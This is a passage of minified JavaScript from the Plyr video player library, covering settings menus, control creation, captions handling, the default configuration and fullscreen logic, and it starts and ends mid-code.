t=this;if(Y(this.elements.settings.panels.quality)){var n="quality",i=this.elements.settings.panels.quality.querySelector('[role="menu"]');K(e)&&(this.options.quality=Be(e).filter((function(e){return t.config.quality.options.includes(e)})));var r=!ee(this.options.quality)&&this.options.quality.length>1;if(Ze.toggleMenuButton.call(this,n,r),de(i),Ze.checkMenu.call(this),r){var a=function(e){var n=Ge("qualityBadge.".concat(e),t.config);return n.length?Ze.createBadge.call(t,n):null};this.options.quality.sort((function(e,n){var i=t.config.quality.options;return i.indexOf(e)>i.indexOf(n)?1:-1})).forEach((function(e){Ze.createMenuItem.call(t,{value:e,list:i,type:n,title:Ze.getLabel.call(t,"quality",e),badge:a(e)})})),Ze.updateSetting.call(this,n,i)}}},setCaptionsMenu:function(){var e=this;if(Y(this.elements.settings.panels.captions)){var t="captions",n=this.elements.settings.panels.captions.querySelector('[role="menu"]'),i=nt.getTracks.call(this),r=Boolean(i.length);if(Ze.toggleMenuButton.call(this,t,r),de(n),Ze.checkMenu.call(this),r){var a=i.map((function(t,i){return{value:i,checked:e.captions.toggled&&e.currentTrack===i,title:nt.getLabel.call(e,t),badge:t.language&&Ze.createBadge.call(e,t.language.toUpperCase()),list:n,type:"language"}}));a.unshift({value:-1,checked:!this.captions.toggled,title:Ge("disabled",this.config),list:n,type:"language"}),a.forEach(Ze.createMenuItem.bind(this)),Ze.updateSetting.call(this,t,n)}}},setSpeedMenu:function(){var e=this;if(Y(this.elements.settings.panels.speed)){var t="speed",n=this.elements.settings.panels.speed.querySelector('[role="menu"]');this.options.speed=this.options.speed.filter((function(t){return t>=e.minimumSpeed&&t<=e.maximumSpeed}));var i=!ee(this.options.speed)&&this.options.speed.length>1;Ze.toggleMenuButton.call(this,t,i),de(n),Ze.checkMenu.call(this),i&&(this.options.speed.forEach((function(i){Ze.createMenuItem.call(e,{value:i,list:n,type:t,title:Ze.getLabel.call(e,"speed",i)})})),Ze.updateSetting.call(this,t,n))}},checkMenu:function(){var e=this.elements.settings.buttons,t=!ee(e)&&Object.values(e).some((function(e){return!e.hidden}));pe(this.elements.settings.menu,!t)},focusFirstMenuItem:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(!this.elements.settings.popup.hidden){var n=e;Y(n)||(n=Object.values(this.elements.settings.panels).find((function(e){return!e.hidden})));var i=n.querySelector('[role^="menuitem"]');_e.call(this,i,t)}},toggleMenu:function(e){var t=this.elements.settings.popup,n=this.elements.buttons.settings;if(Y(t)&&Y(n)){var i=t.hidden,r=i;if(G(e))r=e;else if(X(e)&&27===e.which)r=!1;else if(Q(e)){var a=q(e.composedPath)?e.composedPath()[0]:e.target,o=t.contains(a);if(o||!o&&e.target!==n&&r)return}n.setAttribute("aria-expanded",r),pe(t,!r),me(this.elements.container,this.config.classNames.menu.open,r),r&&X(e)?Ze.focusFirstMenuItem.call(this,null,!0):r||i||_e.call(this,n,X(e))}},getMenuSize:function(e){var t=e.cloneNode(!0);t.style.position="absolute",t.style.opacity=0,t.removeAttribute("hidden"),e.parentNode.appendChild(t);var n=t.scrollWidth,i=t.scrollHeight;return ce(t),{width:n,height:i}},showMenuPanel:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",n=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=this.elements.container.querySelector("#plyr-settings-".concat(this.id,"-").concat(t));if(Y(i)){var r=i.parentNode,a=Array.from(r.children).find((function(e){return!e.hidden}));if(Ee.transitions&&!Ee.reducedMotion){r.style.width="".concat(a.scrollWidth,"px"),r.style.height="".concat(a.scrollHeight,"px");var o=Ze.getMenuSize.call(this,i),s=function t(n){n.target===r&&["width","height"].includes(n.propertyName)&&(r.style.width="",r.style.height="",xe.call(e,r,te,t))};Ce.call(this,r,te,s),r.style.width="".concat(o.width,"px"),r.style.height="".concat(o.height,"px")}pe(a,!0),pe(i,!1),Ze.focusFirstMenuItem.call(this,i,n)}},setDownloadUrl:function(){var e=this.elements.buttons.download;Y(e)&&e.setAttribute("href",this.download)},create:function(e){var t=this,n=Ze.bindMenuItemShortcuts,i=Ze.createButton,r=Ze.createProgress,a=Ze.createRange,o=Ze.createTime,s=Ze.setQualityMenu,l=Ze.setSpeedMenu,u=Ze.showMenuPanel;this.elements.controls=null,K(this.config.controls)&&this.config.controls.includes("play-large")&&this.elements.container.appendChild(i.call(this,"play-large"));var c=le("div",he(this.config.selectors.controls.wrapper));this.elements.controls=c;var d={class:"plyr__controls__item"};return Be(K(this.config.controls)?this.config.controls:[]).forEach((function(s){if("restart"===s&&c.appendChild(i.call(t,"restart",d)),"rewind"===s&&c.appendChild(i.call(t,"rewind",d)),"play"===s&&c.appendChild(i.call(t,"play",d)),"fast-forward"===s&&c.appendChild(i.call(t,"fast-forward",d)),"progress"===s){var l=le("div",{class:"".concat(d.class," plyr__progress__container")}),f=le("div",he(t.config.selectors.progress));if(f.appendChild(a.call(t,"seek",{id:"plyr-seek-".concat(e.id)})),f.appendChild(r.call(t,"buffer")),t.config.tooltips.seek){var h=le("span",{class:t.config.classNames.tooltip},"00:00");f.appendChild(h),t.elements.display.seekTooltip=h}t.elements.progress=f,l.appendChild(t.elements.progress),c.appendChild(l)}if("current-time"===s&&c.appendChild(o.call(t,"currentTime",d)),"duration"===s&&c.appendChild(o.call(t,"duration",d)),"mute"===s||"volume"===s){var p=t.elements.volume;if(Y(p)&&c.contains(p)||(p=le("div",ae({},d,{class:"".concat(d.class," plyr__volume").trim()})),t.elements.volume=p,c.appendChild(p)),"mute"===s&&p.appendChild(i.call(t,"mute")),"volume"===s&&!ie.isIos){var m={max:1,step:.05,value:t.config.volume};p.appendChild(a.call(t,"volume",ae(m,{id:"plyr-volume-".concat(e.id)})))}}if("captions"===s&&c.appendChild(i.call(t,"captions",d)),"settings"===s&&!ee(t.config.settings)){var g=le("div",ae({},d,{class:"".concat(d.class," plyr__menu").trim(),hidden:""}));g.appendChild(i.call(t,"settings",{"aria-haspopup":!0,"aria-controls":"plyr-settings-".concat(e.id),"aria-expanded":!1}));var v=le("div",{class:"plyr__menu__container",id:"plyr-settings-".concat(e.id),hidden:""}),y=le("div"),b=le("div",{id:"plyr-settings-".concat(e.id,"-home")}),_=le("div",{role:"menu"});b.appendChild(_),y.appendChild(b),t.elements.settings.panels.home=b,t.config.settings.forEach((function(i){var r=le("button",ae(he(t.config.selectors.buttons.settings),{type:"button",class:"".concat(t.config.classNames.control," ").concat(t.config.classNames.control,"--forward"),role:"menuitem","aria-haspopup":!0,hidden:""}));n.call(t,r,i),Ce.call(t,r,"click",(function(){u.call(t,i,!1)}));var a=le("span",null,Ge(i,t.config)),o=le("span",{class:t.config.classNames.menu.value});o.innerHTML=e[i],a.appendChild(o),r.appendChild(a),_.appendChild(r);var s=le("div",{id:"plyr-settings-".concat(e.id,"-").concat(i),hidden:""}),l=le("button",{type:"button",class:"".concat(t.config.classNames.control," ").concat(t.config.classNames.control,"--back")});l.appendChild(le("span",{"aria-hidden":!0},Ge(i,t.config))),l.appendChild(le("span",{class:t.config.classNames.hidden},Ge("menuBack",t.config))),Ce.call(t,s,"keydown",(function(e){37===e.which&&(e.preventDefault(),e.stopPropagation(),u.call(t,"home",!0))}),!1),Ce.call(t,l,"click",(function(){u.call(t,"home",!1)})),s.appendChild(l),s.appendChild(le("div",{role:"menu"})),y.appendChild(s),t.elements.settings.buttons[i]=r,t.elements.settings.panels[i]=s})),v.appendChild(y),g.appendChild(v),c.appendChild(g),t.elements.settings.popup=v,t.elements.settings.menu=g}if("pip"===s&&Ee.pip&&c.appendChild(i.call(t,"pip",d)),"airplay"===s&&Ee.airplay&&c.appendChild(i.call(t,"airplay",d)),"download"===s){var k=ae({},d,{element:"a",href:t.download,target:"_blank"});t.isHTML5&&(k.download="");var w=t.config.urls.download;!Z(w)&&t.isEmbed&&ae(k,{icon:"logo-".concat(t.provider),label:t.provider}),c.appendChild(i.call(t,"download",k))}"fullscreen"===s&&c.appendChild(i.call(t,"fullscreen",d))})),this.isHTML5&&s.call(this,je.getQualityOptions.call(this)),l.call(this),c},inject:function(){var e=this;if(this.config.loadSprite){var t=Ze.getIconUrl.call(this);t.cors&&$e(t.url,"sprite-plyr")}this.id=Math.floor(1e4*Math.random());var n=null;this.elements.controls=null;var i,r,a={id:this.id,seektime:this.config.seekTime,title:this.config.title},o=!0;if(q(this.config.controls)&&(this.config.controls=this.config.controls.call(this,a)),this.config.controls||(this.config.controls=[]),Y(this.config.controls)||W(this.config.controls)?n=this.config.controls:(n=Ze.create.call(this,{id:this.id,seektime:this.config.seekTime,speed:this.speed,quality:this.quality,captions:nt.getLabel.call(this)}),o=!1),o&&W(this.config.controls)&&(i=n,Object.entries(a).forEach((function(e){var t=s(e,2),n=t[0],r=t[1];i=Fe(i,"{".concat(n,"}"),r)})),n=i),W(this.config.selectors.controls.container)&&(r=document.querySelector(this.config.selectors.controls.container)),Y(r)||(r=this.elements.container),r[Y(n)?"insertAdjacentElement":"insertAdjacentHTML"]("afterbegin",n),Y(this.elements.controls)||Ze.findElements.call(this),!ee(this.elements.buttons)){var l=function(t){var n=e.config.classNames.controlPressed;Object.defineProperty(t,"pressed",{enumerable:!0,get:function(){return ge(t,n)},set:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];me(t,n,e)}})};Object.values(this.elements.buttons).filter(Boolean).forEach((function(e){K(e)||$(e)?Array.from(e).filter(Boolean).forEach(l):l(e)}))}if(ie.isEdge&&ne(r),this.config.tooltips.controls){var u=this.config,c=u.classNames,d=u.selectors,f="".concat(d.controls.wrapper," ").concat(d.labels," .").concat(c.hidden),h=ye.call(this,f);Array.from(h).forEach((function(t){me(t,e.config.classNames.hidden,!1),me(t,e.config.classNames.tooltip,!0)}))}}};function et(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],n=e;if(t){var i=document.createElement("a");i.href=n,n=i.href}try{return new URL(n)}catch(e){return null}}function tt(e){var t=new URLSearchParams;return V(e)&&Object.entries(e).forEach((function(e){var n=s(e,2),i=n[0],r=n[1];t.set(i,r)})),t}var nt={setup:function(){if(this.supported.ui)if(!this.isVideo||this.isYouTube||this.isHTML5&&!Ee.textTracks)K(this.config.controls)&&this.config.controls.includes("settings")&&this.config.settings.includes("captions")&&Ze.setCaptionsMenu.call(this);else{if(Y(this.elements.captions)||(this.elements.captions=le("div",he(this.config.selectors.captions)),function(e,t){Y(e)&&Y(t)&&t.parentNode.insertBefore(e,t.nextSibling)}(this.elements.captions,this.elements.wrapper)),ie.isIE&&window.URL){var e=this.media.querySelectorAll("track");Array.from(e).forEach((function(e){var t=e.getAttribute("src"),n=et(t);null!==n&&n.hostname!==window.location.href.hostname&&["http:","https:"].includes(n.protocol)&&Ke(t,"blob").then((function(t){e.setAttribute("src",window.URL.createObjectURL(t))})).catch((function(){ce(e)}))}))}var t=Be((navigator.languages||[navigator.language||navigator.userLanguage||"en"]).map((function(e){return e.split("-")[0]}))),n=(this.storage.get("language")||this.config.captions.language||"auto").toLowerCase();"auto"===n&&(n=s(t,1)[0]);var i=this.storage.get("captions");if(G(i)||(i=this.config.captions.active),Object.assign(this.captions,{toggled:!1,active:i,language:n,languages:t}),this.isHTML5){var r=this.config.captions.update?"addtrack removetrack":"removetrack";Ce.call(this,this.media.textTracks,r,nt.update.bind(this))}setTimeout(nt.update.bind(this),0)}},update:function(){var e=this,t=nt.getTracks.call(this,!0),n=this.captions,i=n.active,r=n.language,a=n.meta,o=n.currentTrackNode,s=Boolean(t.find((function(e){return e.language===r})));this.isHTML5&&this.isVideo&&t.filter((function(e){return!a.get(e)})).forEach((function(t){e.debug.log("Track added",t),a.set(t,{default:"showing"===t.mode}),"showing"===t.mode&&(t.mode="hidden"),Ce.call(e,t,"cuechange",(function(){return nt.updateCues.call(e)}))})),(s&&this.language!==r||!t.includes(o))&&(nt.setLanguage.call(this,r),nt.toggle.call(this,i&&s)),me(this.elements.container,this.config.classNames.captions.enabled,!ee(t)),K(this.config.controls)&&this.config.controls.includes("settings")&&this.config.settings.includes("captions")&&Ze.setCaptionsMenu.call(this)},toggle:function(e){var t=this,n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(this.supported.ui){var i=this.captions.toggled,r=this.config.classNames.captions.active,a=z(e)?!i:e;if(a!==i){if(n||(this.captions.active=a,this.storage.set({captions:a})),!this.language&&a&&!n){var o=nt.getTracks.call(this),s=nt.findTrack.call(this,[this.captions.language].concat(l(this.captions.languages)),!0);return this.captions.language=s.language,void nt.set.call(this,o.indexOf(s))}this.elements.buttons.captions&&(this.elements.buttons.captions.pressed=a),me(this.elements.container,r,a),this.captions.toggled=a,Ze.updateSetting.call(this,"captions"),Ae.call(this,this.media,a?"captionsenabled":"captionsdisabled")}setTimeout((function(){a&&t.captions.toggled&&(t.captions.currentTrackNode.mode="hidden")}))}},set:function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],n=nt.getTracks.call(this);if(-1!==e)if(H(e))if(e in n){if(this.captions.currentTrack!==e){this.captions.currentTrack=e;var i=n[e],r=i||{},a=r.language;this.captions.currentTrackNode=i,Ze.updateSetting.call(this,"captions"),t||(this.captions.language=a,this.storage.set({language:a})),this.isVimeo&&this.embed.enableTextTrack(a),Ae.call(this,this.media,"languagechange")}nt.toggle.call(this,!0,t),this.isHTML5&&this.isVideo&&nt.updateCues.call(this)}else this.debug.warn("Track not found",e);else this.debug.warn("Invalid caption argument",e);else nt.toggle.call(this,!1,t)},setLanguage:function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(W(e)){var n=e.toLowerCase();this.captions.language=n;var i=nt.getTracks.call(this),r=nt.findTrack.call(this,[n]);nt.set.call(this,i.indexOf(r),t)}else this.debug.warn("Invalid language argument",e)},getTracks:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]&&arguments[0],n=Array.from((this.media||{}).textTracks||[]);return n.filter((function(n){return!e.isHTML5||t||e.captions.meta.has(n)})).filter((function(e){return["captions","subtitles"].includes(e.kind)}))},findTrack:function(e){var t,n=this,i=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r=nt.getTracks.call(this),a=function(e){return Number((n.captions.meta.get(e)||{}).default)},o=Array.from(r).sort((function(e,t){return a(t)-a(e)}));return e.every((function(e){return!(t=o.find((function(t){return t.language===e})))})),t||(i?o[0]:void 0)},getCurrentTrack:function(){return nt.getTracks.call(this)[this.currentTrack]},getLabel:function(e){var t=e;return!J(t)&&Ee.textTracks&&this.captions.toggled&&(t=nt.getCurrentTrack.call(this)),J(t)?ee(t.label)?ee(t.language)?Ge("enabled",this.config):e.language.toUpperCase():t.label:Ge("disabled",this.config)},updateCues:function(e){if(this.supported.ui)if(Y(this.elements.captions))if(z(e)||Array.isArray(e)){var t=e;if(!t){var n=nt.getCurrentTrack.call(this);t=Array.from((n||{}).activeCues||[]).map((function(e){return e.getCueAsHTML()})).map(He)}var i=t.map((function(e){return e.trim()})).join("\n");if(i!==this.elements.captions.innerHTML){de(this.elements.captions);var r=le("span",he(this.config.selectors.caption));r.innerHTML=i,this.elements.captions.appendChild(r),Ae.call(this,this.media,"cuechange")}}else this.debug.warn("updateCues: Invalid input",e);else this.debug.warn("No captions element to render to")}},it={enabled:!0,title:"",debug:!1,autoplay:!1,autopause:!0,playsinline:!0,seekTime:10,volume:1,muted:!1,duration:null,displayDuration:!0,invertTime:!0,toggleInvert:!0,ratio:null,clickToPlay:!0,hideControls:!0,resetOnEnd:!1,disableContextMenu:!0,loadSprite:!0,iconPrefix:"plyr",iconUrl:"https://cdn.plyr.io/3.6.3/plyr.svg",blankVideo:"https://cdn.plyr.io/static/blank.mp4",quality:{default:576,options:[4320,2880,2160,1440,1080,720,576,480,360,240],forced:!1,onChange:null},loop:{active:!1},speed:{selected:1,options:[.5,.75,1,1.25,1.5,1.75,2,4]},keyboard:{focused:!0,global:!1},tooltips:{controls:!1,seek:!0},captions:{active:!1,language:"auto",update:!1},fullscreen:{enabled:!0,fallback:!0,iosNative:!1},storage:{enabled:!0,key:"plyr"},controls:["play-large","play","progress","current-time","mute","volume","captions","settings","pip","airplay","fullscreen"],settings:["captions","quality","speed"],i18n:{restart:"Restart",rewind:"Rewind {seektime}s",play:"Play",pause:"Pause",fastForward:"Forward {seektime}s",seek:"Seek",seekLabel:"{currentTime} of {duration}",played:"Played",buffered:"Buffered",currentTime:"Current time",duration:"Duration",volume:"Volume",mute:"Mute",unmute:"Unmute",enableCaptions:"Enable captions",disableCaptions:"Disable captions",download:"Download",enterFullscreen:"Enter fullscreen",exitFullscreen:"Exit fullscreen",frameTitle:"Player for {title}",captions:"Captions",settings:"Settings",pip:"PIP",menuBack:"Go back to previous menu",speed:"Speed",normal:"Normal",quality:"Quality",loop:"Loop",start:"Start",end:"End",all:"All",reset:"Reset",disabled:"Disabled",enabled:"Enabled",advertisement:"Ad",qualityBadge:{2160:"4K",1440:"HD",1080:"HD",720:"HD",576:"SD",480:"SD"}},urls:{download:null,vimeo:{sdk:"https://player.vimeo.com/api/player.js",iframe:"https://player.vimeo.com/video/{0}?{1}",api:"https://vimeo.com/api/oembed.json?url={0}"},youtube:{sdk:"https://www.youtube.com/iframe_api",api:"https://noembed.com/embed?url=https://www.youtube.com/watch?v={0}"},googleIMA:{sdk:"https://imasdk.googleapis.com/js/sdkloader/ima3.js"}},listeners:{seek:null,play:null,pause:null,restart:null,rewind:null,fastForward:null,mute:null,volume:null,captions:null,download:null,fullscreen:null,pip:null,airplay:null,speed:null,quality:null,loop:null,language:null},events:["ended","progress","stalled","playing","waiting","canplay","canplaythrough","loadstart","loadeddata","loadedmetadata","timeupdate","volumechange","play","pause","error","seeking","seeked","emptied","ratechange","cuechange","download","enterfullscreen","exitfullscreen","captionsenabled","captionsdisabled","languagechange","controlshidden","controlsshown","ready","statechange","qualitychange","adsloaded","adscontentpause","adscontentresume","adstarted","adsmidpoint","adscomplete","adsallcomplete","adsimpression","adsclick"],selectors:{editable:"input, textarea, select, [contenteditable]",container:".plyr",controls:{container:null,wrapper:".plyr__controls"},labels:"[data-plyr]",buttons:{play:'[data-plyr="play"]',pause:'[data-plyr="pause"]',restart:'[data-plyr="restart"]',rewind:'[data-plyr="rewind"]',fastForward:'[data-plyr="fast-forward"]',mute:'[data-plyr="mute"]',captions:'[data-plyr="captions"]',download:'[data-plyr="download"]',fullscreen:'[data-plyr="fullscreen"]',pip:'[data-plyr="pip"]',airplay:'[data-plyr="airplay"]',settings:'[data-plyr="settings"]',loop:'[data-plyr="loop"]'},inputs:{seek:'[data-plyr="seek"]',volume:'[data-plyr="volume"]',speed:'[data-plyr="speed"]',language:'[data-plyr="language"]',quality:'[data-plyr="quality"]'},display:{currentTime:".plyr__time--current",duration:".plyr__time--duration",buffer:".plyr__progress__buffer",loop:".plyr__progress__loop",volume:".plyr__volume--display"},progress:".plyr__progress",captions:".plyr__captions",caption:".plyr__caption"},classNames:{type:"plyr--{0}",provider:"plyr--{0}",video:"plyr__video-wrapper",embed:"plyr__video-embed",videoFixedRatio:"plyr__video-wrapper--fixed-ratio",embedContainer:"plyr__video-embed__container",poster:"plyr__poster",posterEnabled:"plyr__poster-enabled",ads:"plyr__ads",control:"plyr__control",controlPressed:"plyr__control--pressed",playing:"plyr--playing",paused:"plyr--paused",stopped:"plyr--stopped",loading:"plyr--loading",hover:"plyr--hover",tooltip:"plyr__tooltip",cues:"plyr__cues",hidden:"plyr__sr-only",hideControls:"plyr--hide-controls",isIos:"plyr--is-ios",isTouch:"plyr--is-touch",uiSupported:"plyr--full-ui",noTransition:"plyr--no-transition",display:{time:"plyr__time"},menu:{value:"plyr__menu__value",badge:"plyr__badge",open:"plyr--menu-open"},captions:{enabled:"plyr--captions-enabled",active:"plyr--captions-active"},fullscreen:{enabled:"plyr--fullscreen-enabled",fallback:"plyr--fullscreen-fallback"},pip:{supported:"plyr--pip-supported",active:"plyr--pip-active"},airplay:{supported:"plyr--airplay-supported",active:"plyr--airplay-active"},tabFocus:"plyr__tab-focus",previewThumbnails:{thumbContainer:"plyr__preview-thumb",thumbContainerShown:"plyr__preview-thumb--is-shown",imageContainer:"plyr__preview-thumb__image-container",timeContainer:"plyr__preview-thumb__time-container",scrubbingContainer:"plyr__preview-scrubbing",scrubbingContainerShown:"plyr__preview-scrubbing--is-shown"}},attributes:{embed:{provider:"data-plyr-provider",id:"data-plyr-embed-id"}},ads:{enabled:!1,publisherId:"",tagUrl:""},previewThumbnails:{enabled:!1,src:""},vimeo:{byline:!1,portrait:!1,title:!1,speed:!0,transparent:!1,customControls:!0,referrerPolicy:null,premium:!1},youtube:{rel:0,showinfo:0,iv_load_policy:3,modestbranding:1,customControls:!0,noCookie:!1}},rt="picture-in-picture",at={html5:"html5",youtube:"youtube",vimeo:"vimeo"},ot=function(){},st=function(){function t(){var n=arguments.length>0&&void 0!==arguments[0]&&arguments[0];e(this,t),this.enabled=window.console&&n,this.enabled&&this.log("Debugging enabled")}return i(t,[{key:"log",get:function(){return this.enabled?Function.prototype.bind.call(console.log,console):ot}},{key:"warn",get:function(){return this.enabled?Function.prototype.bind.call(console.warn,console):ot}},{key:"error",get:function(){return this.enabled?Function.prototype.bind.call(console.error,console):ot}}]),t}(),lt=function(){function t(n){var i=this;e(this,t),this.player=n,this.prefix=t.prefix,this.property=t.property,this.scrollPosition={x:0,y:0},this.forceFallback="force"===n.config.fullscreen.fallback,this.player.elements.fullscreen=n.config.fullscreen.container&&function(e,t){return(Element.prototype.closest||function(){var e=this;do{if(ve.matches(e,t))return e;e=e.parentElement||e.parentNode}while(null!==e&&1===e.nodeType);return null}).call(e,t)}(this.player.elements.container,n.config.fullscreen.container),Ce.call(this.player,document,"ms"===this.prefix?"MSFullscreenChange":"".concat(this.prefix,"fullscreenchange"),(function(){i.onChange()})),Ce.call(this.player,this.player.elements.container,"dblclick",(function(e){Y(i.player.elements.controls)&&i.player.elements.controls.contains(e.target)||i.player.listeners.proxy(e,i.toggle,"fullscreen")})),Ce.call(this,this.player.elements.container,"keydown",(function(e){return i.trapFocus(e)})),this.update()}return i(t,[{key:"onChange",value:function(){if(this.enabled){var e=this.player.elements.buttons.fullscreen;Y(e)&&(e.pressed=this.active);var t=this.target===this.player.media?this.target:this.player.elements.container;Ae.call(this.player,t,this.active?"enterfullscreen":"exitfullscreen",!0)}}},{key:"toggleFallback",value:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];if(e?this.scrollPosition={x:window.scrollX||0,y:window.scrollY||0}:window.scrollTo(this.scrollPosition.x,this.scrollPosition.y),document.body.style.overflow=e?"hidden":"",me(this.target,this.player.config.classNames.fullscreen.fallback,e),ie.isIos){var t=document.head.querySelector('meta[name="viewport"]'),n="viewport-fit=cover";t||(t=document.createElement("meta")).setAttribute("name","viewport");var i=W(t.content)&&t.content.includes(n);e?(this.cleanupViewport=!i,i||(t.content+=",".concat(n))):this.cleanupViewport&&(t.content=t.content.split(",").filter((function(e){return e.trim()!==n})).join(","))}this.onChange()}},{key:"trapFocus",value:function(e){if(!ie.isIos&&this.active&&"Tab"===e.key&&9===e.keyCode){var t=document.activeElement,n=ye.call(this.player,"a[href], button:not(:disabled), input:not(:disabled), [tabindex]"),i=s(n,1)[0],r=n[n.length-1];t!==r||e.shiftKey?t===i&&e.shiftKey&&(r.focus(),e.preventDefault()):(i.focus(),e.preventDefault())}}},{key:"update",value:function(){var e;this.enabled?(e=this.forceFallback?"Fallback (forced)":t.native?"Native":"Fallback",this.player.debug.log("".concat(e," fullscreen enabled"))):this.player.debug.log("Fullscreen not supported and fallback disabled"),me(this.player.elements.container,this.player.config.classNames.fullscreen.enabled,this.enabled)}},{key:"enter",value:function(){this.enabled&&(ie.isIos&&this.player.config.fullscreen.iosNative?this.target.webkitEnterFullscreen():!t.native||this.forceFallback?this.toggleFallback(!0):this.prefix?ee(this.prefix)||this.target["".concat(this.prefix,"Request").concat(this.property)]():this.target.requestFullscreen({navigationUI:"hide"}))}},{key:"exit",value:function(){if(this.enabled)if(ie.isIos&&this.player.config.fullscreen.iosNative)this.target.webkitExitFullscreen(),Pe(this.player.play());else if(!t.native||this.forceFallback)this.toggleFallback(!1);else if(this.prefix){if(!ee(this.prefix)){var e="moz"===this.prefix?"Cancel":"Exit";document["".concat(this.prefix).concat(e).concat(this.property)]()}}else(document.cancelFullScreen||document.exitFullscreen).call(document)}},{key:"toggle",value:function(){this.active?this.exit():this.enter()}},{key:"usingNative",get:function(){return t.native&&!this.forceFallback}},{key:"enabled",get:function(){return(t.native||this.player.config.fullscreen.fallback)&&this.player.config.fullscreen.enabled&&this.player.supported.ui&&this.player.isVideo}},{key:"active",get:function(){if(!this.enabled)return!1;if(!t.native||this.forceFallback)return ge(this.target,this.player.config.classNames.fullscreen.fallback);var e=this.prefix?document["".concat(this.prefix).concat(this.property,"Element")]:document.fullscreenElement;return e&&e.shadowRoot?e===this.target.getRootNode().host:e===this.target}},{key:"target",get:function(){return ie.isIos&&this.player.config.fullscreen.iosNative?this.player.media:this.player.elements.fullscreen||this.player.elements.container}}],[{key:"native",get:function(){return!!(document.fullscreenEnabled||document.webkitFullscreenEnabled||document.mozFullScreenEnabled||document.msFullscreenEnabled)}},{key:"prefix",get:function(){if(q(document.exitFullscreen))return"";var e="";return["webkit","moz","ms"].some((function(t){return!(!q(document["".concat(t,"ExitFullscreen")])&&!q(document["".concat(t,"CancelFullScreen")]))&&(e=t,!0)})),e}},{key:"property",get:function(){return"moz"===this.prefix?"FullScreen":"Fullscreen"}}]),t}();function ut(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1;return new Promise((function(n,i){var r=new Image,a=function(){delete r.onload,delete r.onerror,(r.naturalWidth>=t?n:i)(r)};Object.assign(r,{onload:a,onerror:a,src:e})}))}var ct={addStyleHook:function(){me(this.elements.container,this.config.selectors.container.replace(".",""),!0),me(this.elements.container,this.config.classNames.uiSupported,this.supported.ui)},toggleNativeControls:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];e&&this.isHTML5?this.media.setAttribute("controls",""):this.media.removeAttribute("controls")},build:function(){var e=this;if(this.listeners.media(),!this.supported.ui)return this.debug.warn("Basic support only for ".concat(this.provider," ").concat(this.type)),void ct.toggleNativeControls.call(this,!0);Y(this.elements.controls)||(Ze.inject.call(this),this.listeners.controls()),ct.toggleNativeControls.call(this),this.isHTML5&&nt.setup.call(this),this.volume=null,this.muted=null,this.loop=null,this.quality=null,this.speed=null,Ze.updateVolume.call(this),Ze.timeUpdate.call(this),ct.checkPlaying.call(this),me(this.elements.container,this.config.classNames.pip.supported,Ee.pip&&this.isHTML5&&this.isVideo),me(this.elements.container,this.config.classNames.airplay.supported,Ee.airplay&&this.isHTML5),me(this.elements.container,this.config.classNames.isIos,ie.isIos),me(this.elements.container,this.config.classNames.isTouch,this.touch),this.ready=!0,setTimeout((function(){Ae.call(e,e.media,"ready")}),0),ct.setTitle.call(this),this.poster&&ct.setPoster.call(this,this.poster,!1).catch((function(){})),this.config.duration&&Ze.durationUpdate.call(this)},setTitle:function(){var e=Ge("play",this.config);if(W(this.config.title)&&!ee(this.config.title)&&(e+=", ".concat(this.config.title)),Array.from(this.elements.buttons.play||[]).forEach((function(t){t.setAttribute("aria-label",e)})),this.isEmbed){var t=be.call(this,"iframe");if(!Y(t))return;var n=ee(this.config.title)?"video":this.config.title,i=Ge("frameTitle",this.config);t.setAttribute("title",i.replace("{title}",n))}},togglePoster:function(e){me(this.elements.container,this.config.classNames.posterEnabled,e)},setPoster:function(e){var t=this,n=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];return n&&this.poster?Promise.reject(new Error("Poster already set")):(this.media.setAttribute("data-poster",e),this.elements.poster.removeAttribute("hidden"),Le.call(this).then((function(){return ut(e)})).catch((function(n){throw e===t.poster&&ct.togglePoster.call(t,!1),n})).then((function(){if(e!==t.poster)throw new Error("setPoster cancelled by later call to setPoster")})).then((function(){return Object.assign(t.elements.poster.style,{backgroundImage:"url('".concat(e,"')"),backgroundSize:""}),ct.togglePoster.call(t,!0),e})))},checkPlaying:function(e){var t=this;me(this.elements.container,this.config.classNames.playing,this.playing),me(this.elements.container,this.config.classNames.paused,this.paused),me(this.elements.container,this.config.classNames.stopped,this.stopped),Array.from(this.elements.buttons.play||[]).forEach((function(e){Object.assign(e,{pressed:t.playing}),e.setAttribute("aria-label",Ge(t.playing?"pause":"play",t.config))})),Q(e)&&"timeupdate"===e.type||ct.toggleControls.call(this)},checkLoading:function(e){var t=this;this.loading=["stalled","waiting"].includes(e.type),clearTimeout(this.timers.loading),this.timers.loading=setTimeout((function(){me(t.elements.container,t.config.classNames.loading,t.loading),ct.toggleControls.call(t)}),this.loading?250:0)},toggleControls:function(e){var t=this.elements.controls;if(t&&this.config.hideControls){var n=this.touch&&this.lastSeekTime+2e3>Date.now();this.toggleControls(Boolean(e||this.loading||this.paused||t.pressed||t.hover||n))}},migrateStyles:function(){var e=this;Object.values(o({},this.media.style)).filter((function(e){return!ee(e)&&W(e)&&e.startsWith("--plyr")})).forEach((function(t){e.elements.container.style.setProperty(t,e.media.style.getPropertyValue(t)),e.media.style.removeProperty(t)})),ee(this.media.style)&&this.media.removeAttribute("style")}},dt=function(){function t(n){e(this,t),this.player=n,this.lastKey=null,this.focusTimer=null,this.lastKeyDown=null,this.handleKey=this.handleKey.bind(this),this.toggleMenu=this.toggleMenu.bind(this),this.setTabFocus=this.setTabFocus.bind(this),this.firstTouch=this.firstTouch.bind(this)}return i(t,[{key:"handleKey",value:function(e){var t=this.player,n=t.elements,i=e.keyCode?e.keyCode:e.which,r="keydown"===e.type,a=r&&i===this.lastKey;if(!(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)&&H(i))if(r){var 